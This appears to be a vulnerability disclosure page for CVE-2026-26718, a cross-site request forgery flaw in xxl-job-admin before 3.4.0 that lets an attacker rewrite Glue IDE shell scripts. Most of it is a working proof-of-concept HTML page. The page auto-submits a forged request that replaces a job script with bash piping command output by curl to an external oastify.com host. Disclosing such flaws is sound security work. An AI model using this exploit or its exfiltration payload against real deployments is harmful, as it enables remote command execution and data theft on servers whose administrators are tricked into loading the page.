ibrahim-sartawi/cve-2026-26718
A Cross-Site Request Forgery (CSRF) vulnerability exists in the xxl-job-admin web application that allows an attacker to perform unauthorized modifications to Glue IDE shell scripts. The affected endpoint lacks proper CSRF token validation and accepts arbitrary HTTP methods via a permissive request mapping
A Cross-Site Request Forgery (CSRF) vulnerability exists in the xxl-job-admin web application that allows an attacker to perform unauthorized modifications to Glue IDE shell scripts. The affected endpoint lacks proper CSRF token validation and accepts arbitrary HTTP methods via a permissive request mapping
xxl-job < 3.4.0
An attacker can trick an authenticated administrator into making unauthorized changes to Glue IDE shell scripts.
// Decode and change it
<html>
<body>
<form action="https://domain.com/jobcode/save">
<input type="hidden" name="id" value="294" />
<input type="hidden" name="glueSource" value="#!/bin/bash id | curl -d @- http://qic8br6d6om2j459zk4evuimldr4f03p.oastify.com  exit 0 " />
<input type="hidden" name="glueRemark" value="12345" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Credits to Ibrahim Sartawi